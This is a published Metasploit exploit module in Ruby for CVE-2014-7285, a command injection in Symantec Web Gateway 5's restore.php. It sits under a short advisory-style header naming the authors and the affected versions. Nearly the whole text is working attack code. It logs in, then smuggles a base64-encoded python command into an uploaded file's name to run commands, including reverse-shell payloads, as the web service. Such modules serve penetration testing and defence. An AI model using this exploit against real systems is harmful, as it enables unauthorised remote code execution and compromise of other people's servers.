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Symantec Web Gateway 5 restore.php Command Injection

Symantec Web Gateway 5 restore.php Command Injection
Posted Mar 3, 2015
Authored by EgiX, sinn3r | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator.

tags | exploit, web
advisories | CVE-2014-7285
MD5 | 7cea620f706dd4d79dc4e3d490634780

Symantec Web Gateway 5 restore.php Command Injection

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's setting restoration feature. The filename portion can be used to inject
system commands into a syscall function, and gain control under the context of
HTTP service.

For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user.
However, for version 5.2.1, you must be an administrator.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # Original discovery & assist of MSF module
'sinn3r'
],
'References' =>
[
[ 'CVE', '2014-7285' ],
[ 'OSVDB', '116009' ],
[ 'BID', '71620' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SSLVersion' => 'TLS1'
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5', {}]
],
'Privileged' => false,
'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014)
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password for the username'])
], self.class)
end

def protocol
ssl ? 'https' : 'http'
end

def check
uri = target_uri.path
res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')})

if res && res.body.include?('Symantec Web Gateway')
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def get_sid
sid = ''

uri = target_uri.path
res = send_request_cgi({
'uri' => normalize_uri(uri, 'spywall/login.php'),
'method' => 'GET',
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID')
end

cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

sid
end

def login(sid)
uri = target_uri.path
res = send_request_cgi({
'uri' => normalize_uri(uri, 'spywall/login.php'),
'method' => 'POST',
'cookie' => sid,
'headers' => {
'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}"
},
'vars_post' => {
'USERNAME' => datastore['USERNAME'],
'PASSWORD' => datastore['PASSWORD'],
'loginBtn' => 'Login'
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to login')
end

cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank?
# Successful login
return sid
else
# Failed login
fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
end
end

def build_payload
# At of today (Feb 27 2015), there are only three payloads this module will support:
# * cmd/unix/generic
# * cmd/unix/reverse_python
# * cmd/unix/reverse_python_ssl
p = payload.encoded

case datastore['PAYLOAD']
when /cmd\/unix\/generic/
# Filter that one out, Mr. basename()
p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))")
p = "python -c \"exec('#{p}'.decode('base64'))\""
else
p = p.gsub(/python -c "exec/, 'python -c \\"exec')
p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"")
end

p
end

def build_mime
p = build_payload

data = Rex::MIME::Message.new
data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"')
data.add_part('maintenance', nil, nil, 'form-data; name="configuration"')
data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""')
data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"')
data.add_part('', nil, nil, 'form-data; name="restore"')
data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"")
data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"')
data.add_part('0', nil, nil, 'form-data; name="event_horizon"')
data.add_part('0', nil, nil, 'form-data; name="max_events"')
data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"')
data.add_part('', nil, nil, 'form-data; name="testaddress"')
data.add_part('', nil, nil, 'form-data; name="pingaddress"')
data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"')
data.add_part('', nil, nil, 'form-data; name="capture_filter"')

data
end

def inject_exec(sid)
uri = target_uri.path
mime = build_mime # Payload inside
send_request_cgi({
'uri' => normalize_uri(uri, 'spywall/restore.php'),
'method' => 'POST',
'cookie' => sid,
'data' => mime.to_s,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'headers' => {
'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}"
}
})
end

def save_cred(username, password)
service_data = {
address: rhost,
port: rport,
service_name: protocol,
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end

def exploit
print_status("Getting the PHPSESSID...")
sid = get_sid
if sid.blank?
print_error("Failed to get the session ID. Cannot continue with the login.")
return
end

print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
sid = login(sid)
if sid.blank?
print_error("Failed to get the session ID from the login process. Cannot continue with the injection.")
return
else
# Good password, keep it
save_cred(datastore['USERNAME'], datastore['PASSWORD'])
end

print_status("Trying restore.php...")
inject_exec(sid)
end

end

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